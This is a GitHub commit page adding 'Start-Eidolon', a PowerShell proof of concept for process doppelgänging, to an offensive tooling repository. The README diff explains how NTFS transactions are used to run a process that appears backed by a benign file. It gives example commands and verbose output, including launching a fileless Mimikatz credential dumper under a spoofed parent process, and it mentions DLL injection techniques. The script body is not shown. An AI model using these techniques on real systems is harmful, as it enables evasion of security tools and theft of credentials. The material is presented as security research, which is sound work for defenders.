Skip to content

Commit a592ba8

Browse files
committed
+Start-Eidolon
1 parent ae900f3 commit a592ba8

2 files changed

Lines changed: 662 additions & 0 deletions

File tree

README.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -328,6 +328,53 @@ C:\PS> Get-SystemProcessInformation -ProcName note
328328

329329
## pwnd
330330

331+
### Start-Eidolon
332+
333+
This is a proof-of-concept for doppelgänging, which was recently presented by enSilo at BlackHat EU. In simple terms this process involves creating an NTFS transaction from a file on disk (any file will do). Next we overwrite the file in memory, create a section from the modified file and launch a process based on that section. Afterwards we roll back the transaction, leaving the original file unchanged but we end up with a process that appears to be backed by the original file. For a more complete description please review the reference in the script.
334+
335+
```
336+
# Create a doppelgänger from a file on disk with explorer as the parent.
337+
# x64 Win10 RS3
338+
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Eidolon C:\Some\Other\File.Path -ParentPID 12784 -Verbose
339+
VERBOSE: [+] Created transaction object
340+
VERBOSE: [+] Created transacted file
341+
VERBOSE: [+] Overwriting transacted file
342+
VERBOSE: [+] Created section from transacted file
343+
VERBOSE: [+] Rolled back transaction changes
344+
VERBOSE: [+] Opened handle the parent => explorer
345+
VERBOSE: [+] Created process from section
346+
VERBOSE: [+] Acquired Eidolon PBI
347+
VERBOSE: [+] Eidolon architecture is 64-bit
348+
VERBOSE: [+] Eidolon image base: 0x7FF6A0570000
349+
VERBOSE: [+] Eidolon entry point: 0x7FF6A05E40C8
350+
VERBOSE: [+] Created Eidolon process parameters
351+
VERBOSE: [+] Allocated memory in Eidolon
352+
VERBOSE: [+] Process parameters duplicated into Eidolon
353+
VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters
354+
VERBOSE: [+] Created Eidolon main thread..
355+
True
356+
357+
# Create a fileless Mimikatz doppelgänger with PowerShell as the parent.
358+
# x32 Win7
359+
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Mimikatz -Verbose
360+
VERBOSE: [+] Created transaction object
361+
VERBOSE: [+] Created transacted file
362+
VERBOSE: [+] Overwriting transacted file
363+
VERBOSE: [+] Created section from transacted file
364+
VERBOSE: [+] Rolled back transaction changes
365+
VERBOSE: [+] Created process from section
366+
VERBOSE: [+] Acquired Eidolon PBI
367+
VERBOSE: [+] Eidolon architecture is 32-bit
368+
VERBOSE: [+] Eidolon image base: 0x400000
369+
VERBOSE: [+] Eidolon entry point: 0x4572D2
370+
VERBOSE: [+] Created Eidolon process parameters
371+
VERBOSE: [+] Allocated memory in Eidolon
372+
VERBOSE: [+] Process parameters duplicated into Eidolon
373+
VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters
374+
VERBOSE: [+] Created Eidolon main thread..
375+
True
376+
```
377+
331378
### Stage-RemoteDll
332379

333380
Stage-RemoteDll is a small function to demonstrate various Dll injection techniques (NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx) on 32 and 64 bit architectures. While I have done some input validation & cleanup, this is mostly POC code. Note also that these techniques can easily be repurposed to directly execute shellcode in the remote process.

Start-Eidolon.ps1

Lines changed: 615 additions & 0 deletions
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)